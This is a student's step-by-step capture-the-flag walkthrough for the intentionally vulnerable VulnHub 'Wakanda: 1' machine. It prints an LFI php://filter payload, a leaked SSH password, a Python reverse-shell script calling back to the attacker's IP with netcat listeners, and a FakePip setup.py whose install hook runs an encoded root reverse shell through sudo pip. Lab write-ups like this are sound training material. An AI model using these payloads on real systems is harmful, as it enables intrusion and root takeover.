Title: wakanda: 1 #Privilege Escalation, Crypto, Forensics, Password attacks, Reconnaissance (2 -high impact) - Intelligence gathering,
---

-- Goal A. flag1.txt ---
-- Goal B. flag2.txt ---
-- Goal C. root.txt--

Completed by: Dimosthenis Grigoroudis P2016022
For any problems contact me at p16grig@ionio.gr

==========

Tutorial: Step by step guide

==========

---

1) Download the CTF challenge from https://www.vulnhub.com/entry/wakanda-1,251/
2) Import it to the VirtualBox by double clicking the .ova file (also it is required to have kali linux on your VB)
3) Click once at the Wakanda_1 icon on your VirtualBox and then go to settings.Go to the Network section (6th from top) and make the Attached to bar
to show the NAT Network selection.Select the first network for name.
4) Click th advanced options and for the promiscuous mode select Allow All.Thats for adapter 1.Disable all other adapters.
5) Do exactly the same for the kali linux.When you are done open Wakanda_1 and kali.For kali the credentials are root and toor.
You wont need to do anything on the Wakanda_1 window, just leave it open so we can complete the challenge.
6) Open the terminal on kali and lets begin.

---

7)# netdiscover //its a tool reconnaissance tool that will help us find the hosts on our network.In image001 we see that the ip we want to attack is 192.168.1.9
8)pres ctrl-Z to stop the netdiscover
9)# nmap -sS -sV -O -A 192.168.1.9 //with the nmap command we scan our network for vulnerabilities.the -sS is the technique, the -sV scans for open ports,-O enables OS detection and the -A enable script scanning and traceroute
10)we see the open ports (image002) and we also see that the ssh port is 3333 which is wrong
11)go to the browser of your kali and put the url you found on the url bar(in our case 192.168.1.9).You will see the webpage you have to hack and get access.
12)you can check if there is anything on the 192.168.1.9/robots.txt but you will get a blank page.robots.txt is an extention of the webpage where the creator puts directories that cannot be read by the google engine.
13)next lets press F12 so we can view the source of the page.We see that the author is someone named mamadou
14)# dirb http://192.168.1.9 //with the command dirb we scan for web objects on the url we search.if you dont want to type the whole url press ctrl-C from the url bar and paste it on the terminal by using ctrl-shift-V.Copy and pasting on therminal has to include shift too.
15)you will get 6 web objects (admin,backup,index.php,secret,server-status,shell).If we open every one of them we will get blank page except the server-status which we get forbidden error.
16)now go to the browser and paste this url
http://192.168.1.9/?lang=php://filter/convert.base64-encode/resource=index .That is the php filter for displaying any files that are on the page that are encoded using base64.
17)now you will see the file (image003) that is included on the page.open a new tab on your browser and type base64 decode.you will see plenty base64 decode algorithms.use one to decode the file you get from the

page.You can copy the file from the source so to be sure you got it whole.
18)the result of the decode is the source file from the page but with a small addition.it gives us a password which is Niamey4Ever227!!! .Lets try access the ssh port with this password.
19)# ssh root@192.168.1.9 -p 3333 //with the -p 3333 parameter we specify that we want the port 3333.Otherwise it would use the port 22 which is the official port for ssh but we dont want that in our case.
20)paste the password.It wont show any letters or *****.Everything you type or paste as password it will be invisible but dont worry it is there.Press enter.
21)as you see the permission is denied.lets try with mamadou instead of root cause thats the author.
22)# ssh mamadou@192.168.1.9 -p 3333
23)paste the code.
24)as we see now we are in a Python interpreter and that means that we have to prompt into a real shell.we will run python commands for this.
25)>>> import pty
26)>>> pty.spawn("/bin/bash")
27)now we have a shell at the machine and we are the user mamadou
28)# pwd //with this command we see in which working directory we are.
29)# ls //with this command we see the files and sub-directories of the directory we are.
30)it will show that there is a flag1.txt.That is our first flag.
31)# cat flag1.txt //with this command we display the .txt file.We just completed the first flag.Two to go!!!

---

32)# locate flag2.txt //with the command locate we will learn in which directory is the file we are looking for.As we see is at /home/devops/flag2.txt so we have to earn the devops user privileges.
33)Lets try to cat the directory path.
34)# cat /home/devops/flag2.txt //Permission denied. We cannot get the file with the user mamadou.
35)#find / -user devops //this command finds all the files that the user devops has permission to access.
36)We see a /srv/.antivirus.py direcotry. The srv is a directory where site-specific data or scripts are stored.
37)# ls -al /srv //with this command we preview the lst of files on srv folder.We see a .antivirus.py file. The . at the start of the name is there so it will confuse you. Also we see we have read-write privileges with the user mamadou.
38)# nano /srv/.antivirys.py //it opens the files that exist in this path.In our case it will open a script.
39) you will probably see a line of code which we dont need it. What we will need is to put a python reverse-shell.
40)Follow this link http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet and copy the python lines of code.
41)The script that you will paste on the terminal it will have an unreadable form. Personally i changed a bit so i can understand the code better. Here is my version of it:

```
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.13",1234))                    //!!!!!!!!!!!!!!!!!!for this line inside the "" put the ip of your system.type ifconfig on a new terminal and you can find your ip!!!!!!!!!
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

42)before we save or exit from this script we open a new terminal and we start our listening
43)# nc -nlvp 1234 //the 1234 is the port that we have from the python code above.
44)return to the terminal with the code. Press ctrl-O to save it then enter and ctrl-X to exit.

45)# cd /srv
46)# python .antivirus.py
47)the permission will be denied but dont worry.You just have to reset the wakanda1 vulnerable machine. To reset it go to the machine's window and press the machine button and then the reset.
48)now that the machine is reseted we can get a reverse-shell for user devops and not mamadou.
49)go at the terminal we put the nc command and we are listening and type the command id. You will see we have the id of user devops.
50)# id
51)now lets see if there is the flag2.txt somewhere.
52)# ls -al /home/devops //indeed we have the flag2.txt here and we have the devops privileges lets catch it.
53)# cat /home/devops/flag2.txt //Bravo you just completed the second flag. Now we have to find the final root flag.

---

54)# sudo -l //this command help us find all the file that can be run as root. We see there is a pip file which help us through that install modules.
55)follow this link to get the FakePip https://github.com/0x00-0x00/FakePip (image004). Download the setup.py file on your Desktop. For safety reasons i will put the script here too (in case the repository get deleted):

```
from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
def run(self):
install.run(self)
LHOST = '192.168.1.13'  # change this.here we put the ip of our system.we found it earlier with ifconfig.
LPORT = 13372

reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET,
socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\');
s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
  version='0.0.1',
  description='This will exploit a sudoer able to /usr/bin/pip install *',
  url='https://github.com/0x00-0x00/fakepip',
  author='zc00l',
  author_email='andre.marques@esecurity.com.br',
  license='MIT',
  zip_safe=False,
  cmdclass={'install': CustomInstall})
```

56)open a new terminal.
57)# cd Desktop

58)# nano setup.py
59)ctrl-O to save and ctrl-X to exit
60)# service apache2 start //we start the server where we will connect to on port 80.
61)now put the setup.py file on the /var/www/html/ folder. Delete the index file that exists already.
62)get back to the terminal in which we have the devops privileges.
63)# cd /home/devops
64)# wget http://192.168.13/setup.py
65)# ls
66)# mkdir fakepip //we create a fakepip folder in which we will put the setup.py. It is what the repository author suggests.
67)# mv setup.py fakepip //with this command we move the file to a folder.
68)# cd fakepip
69)now move to a new terminal and lets listen.
70)# nc -nvlp 13372 //we listen to the port we have from the script.
71)the FakePip will help us get a reverse connection through the root account.
72)# sudo /usr/bin/pip install . --upgrade --force-reinstall
73)if you open the listening terminal you will see we are the root@wakanda1 account.
74)open the other terminal again and press ctrl-C.
75)# nc -nlvp 1234 //reset the vulnerable machine again.
76)# cd /home/devops
77)# ls
78)# cd fakepip
79)# sudo /usr/bin/pip install . --upgrade --force-reinstall
80)go to the listening terminal and lets locate the root.txt .
81)# locate root.txt
82)# cat /root/root.txt
83)now you have completed the last root flag!!!Congratulations!!!

---

root@kali:~# uname -a
Linux kali 4.3.0-kali1-amd64 #1 SMP Debian 4.3.3-7kali2 (2016-01-27) x86_64 GNU/Linux
root@kali:~# uname
Linux
root@kali:~#

==========
Conclusion

Summary: Write down the total security case in 2-3 paragraphs mentioning:
1. The first vulnerability we ran into was the local file inclusion where we found out the base64 file that was hidden in the source.
   It is not something you see everyday but if it exists in a web page you can request for data that exists hidden in the subpages.
2. Then we tried ssh brute force but with no luck.
3. We found some files of the user devops (.antivirus.py) but when we tried to execute them there was the mamadou reverse-shell,
   so we had to reset the machine.
4. We used python reverse-shell and the netcat command to listen and get access to the users and then we located the files and used cat to catch them.

==========

Background Knwoledge

---

1. Already knew:

Personally i had a minimum knowloedge in CTF challenges. I only knew the basics but with practice and research i managed to solve the Wakanda_1
challenge. For the future hackers that will try this CTF you don't need any previous knowledge just the basics. You will understand the
rest along the way. Experiment, try and practice.

---

2. Learned:

- ssh
- reverse_shell
- Web Infrastructure (PHP)
- Pip usage
- Install fakepip and use it to access users.

==========

References: Write Down References or websites

---

https://www.vulnhub.com/entry/wakanda-1,251/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/0x00-0x00/FakePip
https://www.youtube.com/watch?v=iiimeROlNzQ&t=1288s